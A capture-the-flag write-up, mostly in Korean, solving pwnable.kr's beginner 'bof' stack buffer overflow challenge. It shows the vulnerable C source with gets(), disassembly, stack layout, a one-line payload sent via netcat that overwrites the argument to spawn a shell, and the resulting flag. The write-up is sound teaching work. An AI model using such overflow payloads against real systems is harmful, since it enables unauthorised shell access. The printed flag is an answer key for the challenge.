Pwnable.kr Write-Up | By RevDev

Toddler’s Bottle - bof [1pt]


1. Ready to Solve
Problem
Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000


Used Tools
GNU bash (version 4.3.11)
GNU gdb  (version 7.4-2012.02 / with peda)



2. Gathering Informations
Source Code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}


Disassembled Code - main()
Dump of assembler code for function main:
0x0000068a <+0>:    push   ebp
0x0000068b <+1>:    mov    ebp,esp
0x0000068d <+3>:    and    esp,0xfffffff0
0x00000690 <+6>:    sub    esp,0x10
0x00000693 <+9>:    mov    DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>:    call   0x62c <func>
0x0000069f <+21>:    mov    eax,0x0
0x000006a4 <+26>:    leave  
0x000006a5 <+27>:    ret


Disassembled Code - func()
0x0000062c <+0>:    push   ebp
0x0000062d <+1>:    mov    ebp,esp
0x0000062f <+3>:    sub    esp,0x48
0x00000632 <+6>:    mov    eax,gs:0x14
0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
0x0000063b <+15>:    xor    eax,eax
0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c
0x00000644 <+24>:    call   0x645 <func+25>
0x00000649 <+29>:    lea    eax,[ebp-0x2c]
0x0000064c <+32>:    mov    DWORD PTR [esp],eax
0x0000064f <+35>:    call   0x650 <func+36>
0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>:    jne    0x66b <func+63>
0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b
0x00000664 <+56>:    call   0x665 <func+57>
0x00000669 <+61>:    jmp    0x677 <func+75>
0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3
0x00000672 <+70>:    call   0x673 <func+71>
0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14
0x00000681 <+85>:    je     0x688 <func+92>
0x00000683 <+87>:    call   0x684 <func+88>
0x00000688 <+92>:    leave  
0x00000689 <+93>:    ret



3. Solve

문제 이름에서부터 알 수 있듯이 가장 기초적인 스택 버퍼 오버플로우 문제이다. func() 함수의 인자로 주어진 0xdeadbeef0xcafebabe로 바꾸면 쉘을 실행시켜주는 구조이다.

가장 먼저 취약점이 있을만한 부분을 살펴보도록하자. 일단은 변조해야 하는 값이 func()의 인자이므로, func() 내부에서 취약점을 찾아보면, gets()가 눈에 보인다. 32Byte 크기의 char[]형 변수에 값을 입력 받는다.

그 다음으로 할 것은 gets()가 실제 어셈블리 코드 상에서 어디에 존재하는지 알아내는 것이다. gets()함수의 위치를 알면, 입력을 받는 변수인 overflowme의 스택상 정확한 위치도 알 수 있다.
본인의 경우 한번에 gets()를 찾아낼 수 있었다. 그 위치는 다음과 같다.

0x00000649 <+29>:    lea    eax,[ebp-0x2c]
0x0000064c <+32>:    mov    DWORD PTR [esp],eax
0x0000064f <+35>:    call   0x650 <func+36>

이렇게 overflowmeebp-0x2c에 존재한다는 것을 알게 되었다.
자, 이제 오버플로우 공격의 시행착오를 줄이기 위해 공격에 앞서 스택 구조를 구성해보자.
overflowmeebp-0x2c, 즉, SFP가 존재하는 주소로 부터 44Byte 떨어져 있다는 것을 알 수 있으니 대략적인 구조를 다음과 같이 예측할 수 있다.

+--------------+-------+-------+--------------+
|     ebp+8    | ebp+4 |  ebp  |    ebp-44    |
+--------------+-------+-------+--------------+
|  0xdeadbeef  |  RET  |  SFP  |  overflowme  |
+--------------+-------+-------+--------------+

자, 이제 공격코드를 뽑아낼 수 있다.
overflowme의 시작점이 SFP에서 44Byte를 뺀 곳에 있고, 0xdeadbeef의 시작점은 SFP에서 8바이트를 더한 곳에 있다. 따라서 우리는 (44+8)Byte, 즉, 52Byte의 Dummy를 넣어주고, 0xcafebabe를 Little Endian을 고려하여 넣어주면 될 듯 하다.

그럼 최종 공격코드는 어떻게 될까?

(python -c 'print "\x90"*52+"\xbe\xba\xfe\xca"';cat)|./bof

혹시 이렇게 썼다면 훌륭하지만서도 가장 중요한 것을 잊고 있다.
Dummy를 NOP으로 채운 것도, 표준 입출력에 값을 넣는 방법도, Little Endian도 확실히 알고 있다는 것이지만, 이번 문제는 netcat을 이용해 서버로 값을 넘겨주어야 하는 문제이다.

정말 마지막으로, 어떻게 하면 값을 넘겨줄 수 있을지 직접 접속해보도록 하자.
문제에서 주어진 nc pwnable.kr 9000를 통해 서버에 접속하면, 바로 우리가 분석했던 bof파일이 실행되면서 값을 입력 받는다.

revdev@revdev-pc:~$ nc pwnable.kr 9000
overflow me :

자, 이제 우리는 공격코드를 완성할 수 있게 되었다. 이렇게하여 최종적으로 완성된 공격코드는 다음과 같다.
(python -c 'print "\x90"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000


4. Flag
revdev@revdev-pc:~$ (python -c 'print "\x90"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000
ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)
Posted by RevDev
,